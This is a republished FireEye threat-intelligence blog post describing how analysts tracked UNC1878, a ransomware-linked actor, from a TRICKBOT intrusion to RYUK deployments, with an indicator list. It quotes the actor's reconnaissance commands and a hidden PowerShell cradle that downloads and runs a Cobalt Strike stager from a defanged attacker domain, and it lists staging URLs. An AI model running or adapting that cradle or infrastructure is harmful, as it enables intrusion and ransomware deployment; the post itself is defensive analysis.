February 25, 2021

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It’s Your Money and They Want It Now — The Cycle of Adversary Pursuit

8 min read

Original Post from FireEye
Author: Van Ta

When we discover new intrusions, we ask ourselves questions that will
help us understand the totality of the activity set.

How common is this activity? Is there anything unique or special
about this malware or campaign? What is new and what is old in terms
of TTPs or infrastructure? Is this being seen anywhere else? What
information do I have that substantiates the nature of this threat actor?

To track a fast-moving adversary over time, we exploit organic
intrusion data, pivot to other data sets, and make that knowledge
actionable for analysts and incident responders, enabling new
discoveries and assessments on the actor. The FireEye Advanced
Practices team exists to know more about the adversary than anyone
else, and by asking and answering questions such as these, we enable
analyst action in security efforts. In this blog post, we highlight
how our cycle of identification, expansion, and discovery was used to
track a financially motivated actor across FireEye’s global data sets.

Identification

On January 29, 2020, FireEye
Managed Defense
investigated multiple TRICKBOT deployments
against a U.S. based client. Shortly after initial deployment,
TRICKBOT’s networkDll module ran the following network reconnaissance
commands (Figure 1).

ipconfig /all
net config
workstation
net view /all
net view /all
/domain
nltest /domain_trusts
nltest
/domain_trusts /all_trusts

Figure 1: Initial Reconnaissance

Approximately twenty minutes after reconnaissance, the adversary ran
a PowerShell command to download and execute a Cobalt Strike HTTPS
BEACON stager in memory (Figure 2).

cmd.exe /c powershell.exe -nop –w hidden –c
“IEX ((new-object
net.webclient).downloadstring(‘hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt’))”

Figure 2: PowerShell download cradle used to
request a Cobalt Strike stager

Six minutes later, Managed Defense identified evidence of
enumeration and attempted lateral movement through the BEACON implant.
Managed Defense alerted the client of the activity and the affected
hosts were contained, stopping the intrusion in its tracks. A delta of
approximately forty-six minutes between a TRICKBOT infection and
attempted lateral movement was highly unusual and, along with the
clever masquerade domain, warranted further examination by our team.

Although light, indicators from this intrusion were distinct enough
to create an uncategorized threat group, referred to as UNC1878. At
the time of initial clustering, UNC1878’s intent was not fully
understood due to the rapid containment of the intrusion by Managed
Defense. By creating this label, we are able to link activity from the
Managed Defense investigation into a single entity, allowing us to
expand our understanding of this group and track their activity over
time. This is especially important when dealing with campaigns
involving mass malware, as it helps delineate the interactive actor
from the malware campaign they are leveraging. For more information on
our clustering methodology, check out our post about how we analyze,
separate, or merge these clusters at scale
.

Expansion

Pivoting on the command and control (C2) domain allowed us to begin
building a profile of UNC1878 network infrastructure. WHOIS records
for cylenceprotect[.]com (Figure 3) revealed that the domain
was registered on January 27, 2020, with the registrar “Hosting
Concepts B.V. d/b/a Openprovider”, less than two days before we
saw this domain used in activity impacting the Managed Defense customer.

Domain Name: cylenceprotect.com
Registry Domain ID: 2485487352_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.eu
Registrar
URL: http://www.registrar.eu
Updated Date:
2020-01-28T00:35:43Z
Creation
Date: 2020-01-27T23:32:18Z
Registrar
Registration Expiration Date: 2021-01-27T23:32:18Z
Registrar: Hosting Concepts B.V. d/b/a
Openprovider

Figure 3: WHOIS record for the domain cylenceprotect[.]com

Turning our attention to the server, the domain resolved to
45.76.20.140, an IP address owned by the VPS provider Choopa. In
addition, the domain used self-hosted name servers
ns1.cylenceprotect[.]com and ns2.cylenceprotect[.]com, which also
resolved to the Choopa IP address. Network scan data for the server
uncovered a certificate on port 80 and 443, a snippet of which can be
seen in Figure 4.

Certificate:
    Data:
     
  Version: 3 (0x2)
        Serial Number:
     
     
03:a8:60:02:c7:dd:7f:88:5f:2d:86:0d:88:41:e5:3e:25:f0
 
  Signature Algorithm: sha256WithRSAEncryption
       
Issuer: C=US, O=Let’s Encrypt, CN=Let’s Encrypt Authority
X3
        Validity
            Not Before:
Jan 28 02:02:14 2020 GMT
            Not After :
Apr 27 02:02:14 2020 GMT
        Subject:
CN=cylenceprotect[.]com

Figure 4: TLS Certificate for the domain cylenceprotect[.]com

The certificate was issued by Let’s Encrypt, with the earliest
validity date within 24 hours of the activity detected by Managed
Defense, substantiating the speed in which this threat actor operates.
Along with the certificate in Figure 4, we also identified the default
generated, self-signed Cobalt Strike certificate (Figure 5) on port
54546 (50050 by default).

Certificate:
    Data:
     
  Version: 3 (0x2)
        Serial Number: 1843990795
(0x6de9110b)
    Signature Algorithm:
sha256WithRSAEncryption
        Issuer: C=Earth,
ST=Cyberspace, L=Somewhere, O=cobaltstrike,
OU=AdvancedPenTesting, CN=Major Cobalt Strike
   
    Validity
            Not Before: Jan 28 03:06:30
2020 GMT
            Not After : Apr 27 03:06:30
2020 GMT
        Subject: C=Earth, ST=Cyberspace,
L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major
Cobalt Strike

Figure 5: Default Cobalt Strike TLS Certificate
used by UNC1878

Similar to the certificate on port 80 and 443, the earliest validity
date was again within 24 hours of the intrusion identified by Managed
Defense. Continuing analysis on the server, we acquired the BEACON
stager and subsequent BEACON payload, which was configured to use the
Amazon
malleable C2 profile
.

While these indicators may not hold significant weight on their own,
together they create a recognizable pattern to fuel proactive
discovery of related infrastructure. We began hunting for servers that
exhibited the same characteristics as those used by UNC1878. Using
third-party scan data, we quickly identified additional servers that
matched a preponderance of UNC1878 tradecraft:

  • Domains typically comprised of generic IT or security related
    terms such as “update”, “system”, and “service”.
  • Domains
    registered with “Hosting Concepts B.V. d/b/a Openprovider” as
    early as December 19, 2019.
  • Self-hosted name servers.
  • Let’s Encrypt certificates on port 80.
  • Virtual private
    servers hosted predominantly by Choopa.
  • BEACON payloads
    configured with the Amazon malleable C2 profile.
  • Cobalt
    Strike Teams Servers on non-standard ports.

Along with certificates matching UNC1878 tradecraft, we also found
self-signed Armitage
certificates, indicating this group may use multiple offensive
security tools.

Pivoting on limited indicators extracted from a single Managed
Defense intrusion, a small cluster of activity was expanded into a
more diverse set of indicators cardinal to UNC1878. While the
objective and goal of this threat actor had not yet manifested, the
correlation of infrastructure allowed our team to recognize this
threat actor’s operations against other customers.

Discovery

With an established modus operandi for UNC1878, our team quickly
identified several related intrusions in support of FireEye
Mandiant
investigations over the next week. Within two days of our
initial clustering and expansion of UNC1878 from the original Managed
Defense investigation, Mandiant Incident Responders were investigating
activity at a U.S. based medical equipment company with several
indicators we had previously identified and attributed to UNC1878.
Attributed domains, payloads and methodologies provided consultants
with a baseline to build detections on, as well as a level of
confidence in the actor’s capabilities and speed in which they operate.

Three days later, UNC1878 was identified during another incident
response engagement at a restaurant chain. In this engagement,
Mandiant consultants found evidence of attempted deployment of RYUK
ransomware on hundreds of systems, finally revealing UNC1878’s desired
end goal. In the following weeks, we continued to encounter UNC1878 in
various phases of their intrusions at several Mandiant Incident
Response and Managed Defense customers.

While services data offers us a depth of understanding into these
intrusions, we turn to our product telemetry to understand the breadth
of activity, getting a better worldview and perspective on the global
prevalence of this threat actor. This led to the discovery of an
UNC1878 intrusion at a technology company, resulting in Mandiant
immediately notifying the affected customer. By correlating multiple
UNC1878 intrusions across our services and product customers, it
became evident that the targeting was indiscriminate, a common
characteristic of opportunistic ransomware campaigns.

Although initially there were unanswered questions surrounding
UNC1878’s intent, we were able to provide valuable insights into their
capabilities to our consultants and analysts. In turn, the intrusion
data gathered during these engagements continued the cycle of building
our understanding of UNC1878’s tradecraft, enabling our responders to
handle these incidents swiftly in the face of imminent ransomware deployment.

Conclusion

Threat actors continue to use mass malware campaigns to establish
footholds into target environments, followed by interactive operations
focused on deploying ransomware such as RYUK, DOPPLEPAYMER and MAZE.
Looking at the overall trend of intrusions FireEye responds to, the
growing shift from traditional PCI theft to ransomware has allowed
threat actors such as UNC1878 to widen their scope and increase their
tempo, costing organizations millions of dollars due to business
disruption and ransom payments. However, apart from their speed,
UNC1878 does not stand out among the increasing number of groups
following this trend, and should not be the key takeaway of this blog post.

The cycle of analysis and discovery used for UNC1878 lies at the
core of our team’s mission to rapidly detect and pursue impactful
adversaries at scale. Starting from a singular intrusion at a Managed
Defense client, we were able to discover UNC1878 activity at multiple
customers. Using our analysis of the early stages of their activity
allowed us to pivot and pursue this actor across otherwise unrelated
investigations. As we refine and expand our understanding of UNC1878’s
tradecraft, our team enables Mandiant and Managed Defense to
efficiently identify, respond to, and eradicate a financially
motivated threat actor whose end goal could cripple targeted
organizations. The principles applied in pursuit of this actor are
crucial to tracking any adversary and are ultimately how the Advanced
Practices team surfaces meaningful activity across the FireEye ecosystem.

Acknowledgements

Thank you to Andrew Thompson, Dan Perez, Steve Miller, John Gorman
and Brendan McKeague for technical review of this content. In
addition, thank you to the frontline responders harvesting valuable
intrusion data that enables our research.

Indicators of Compromise

Domains

  • aaatus[.]com
  • avrenew[.]com
  • besttus[.]com
  • bigtus[.]com
  • brainschampions[.]com
  • checkwinupdate[.]com
  • ciscocheckapi[.]com
  • cleardefencewin[.]com
  • cmdupdatewin[.]com
  • comssite[.]com
  • conhostservice[.]com
  • cylenceprotect[.]com
  • defenswin[.]com
  • easytus[.]com
  • findtus[.]com
  • firsttus[.]com
  • freeallsafe[.]com
  • freeoldsafe[.]com
  • greattus[.]com
  • havesetup[.]net
  • iexploreservice[.]com
  • jomamba[.]best
  • livecheckpointsrs[.]com
  • livetus[.]com
  • lsassupdate[.]com
  • lsasswininfo[.]com
  • microsoftupdateswin[.]com
  • myservicebooster[.]com
  • myservicebooster[.]net
  • myserviceconnect[.]net
  • myserviceupdater[.]com
  • myyserviceupdater[.]com
  • renovatesystem[.]com
  • service-updater[.]com
  • servicesbooster[.]com
  • servicesbooster[.]org
  • servicesecurity[.]org
  • serviceshelpers[.]com
  • serviceupdates[.]net
  • serviceuphelper[.]com
  • sophosdefence[.]com
  • target-support[.]online
  • taskshedulewin[.]com
  • timesshifts[.]com
  • topsecurityservice[.]net
  • topservicehelper[.]com
  • topservicesbooster[.]com
  • topservicesecurity[.]com
  • topservicesecurity[.]net
  • topservicesecurity[.]org
  • topservicesupdate[.]com
  • topservicesupdates[.]com
  • topserviceupdater[.]com
  • update-wind[.]com
  • updatemanagir[.]us
  • updatewinlsass[.]com
  • updatewinsoftr[.]com
  • web-analysis[.]live
  • windefenceinfo[.]com
  • windefens[.]com
  • winsysteminfo[.]com
  • winsystemupdate[.]com
  • worldtus[.]com
  • yoursuperservice[.]com

IP Addresses

  • 31.7.59.141
  • 45.32.30.162
  • 45.32.130.5
  • 45.32.161.213
  • 45.32.170.9
  • 45.63.8.219
  • 45.63.95.187
  • 45.76.20.140
  • 45.76.167.35
  • 45.76.231.195
  • 45.77.58.172
  • 45.77.89.31
  • 45.77.98.157
  • 45.77.119.212
  • 45.77.153.72
  • 45.77.206.105
  • 63.209.33.131
  • 66.42.97.225
  • 66.42.99.79
  • 79.124.60.117
  • 80.240.18.106
  • 81.17.25.210
  • 95.179.147.215
  • 95.179.210.8
  • 95.179.215.228
  • 96.30.192.141
  • 96.30.193.57
  • 104.156.227.250
  • 104.156.245.0
  • 104.156.250.132
  • 104.156.255.79
  • 104.238.140.239
  • 104.238.190.126
  • 108.61.72.29
  • 108.61.90.90
  • 108.61.176.237
  • 108.61.209.123
  • 108.61.242.184
  • 140.82.5.67
  • 140.82.10.222
  • 140.82.27.146
  • 140.82.60.155
  • 144.202.12.197
  • 144.202.83.4
  • 149.28.15.247
  • 149.28.35.35
  • 149.28.50.31
  • 149.28.55.197
  • 149.28.81.19
  • 149.28.113.9
  • 149.28.122.130
  • 149.28.246.25
  • 149.248.5.240
  • 149.248.56.113
  • 149.248.58.11
  • 151.106.56.223
  • 155.138.135.182
  • 155.138.214.247
  • 155.138.216.133
  • 155.138.224.221
  • 207.148.8.61
  • 207.148.15.31
  • 207.148.21.17
  • 207.246.67.70
  • 209.222.108.106
  • 209.250.255.172
  • 216.155.157.249
  • 217.69.15.175

BEACON Staging URLs

  • hxxp://104.156.255[.]79:80/avbcbgfyhunjmkmk
  • hxxp://149.28.50[.]31:80/adsrxdfcffdxfdsgfxzxds
  • hxxp://149.28.81[.]19:80/ajdlkashduiqwhuyeu12312g3yugshdahqjwgye1g2uy31u1
  • hxxp://45.32.161[.]213:80/ephfusaybuzabegaexbkakskjfgksajgbgfckskfnrdgnkhdsnkghdrngkhrsngrhgcngyggfxbgufgenwfxwgfeuyenfgx
  • hxxp://45.63.8[.]219:80/ajhgfrtyujhytr567uhgfrt6y789ijhg
  • hxxp://66.42.97[.]225:80/aqedfy345yu9876red45f6g78j90
  • hxxp://findtus[.]com/akkhujhbjcjcjhufuuljlvu
  • hxxp://thedemocraticpost[.]com/kflmgkkjdfkmkfl
  • hxxps://brainschampions[.]com:443/atrsgrtehgsetrh5ge
  • hxxps://ciscocheckapi[.]com:80/adsgsergesrtvfdvsa
  • hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt
  • hxxps://havesetup[.]net/afgthyjuhtgrfety
  • hxxps://servicesbooster[.]org:443/sfer4f54
  • hxxps://servicesecurity[.]org:443/fuhvbjk
  • hxxps://timesshifts[.]com:443/akjhtyrdtfyguhiugyft
  • hxxps://timesshifts[.]com:443/ry56rt6yh5rth
  • hxxps://update-wind[.]com/aergerhgrhgeradgerg
  • hxxps://updatemanagir[.]us:80/afvSfaewfsdZFAesf


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Author: Van Ta

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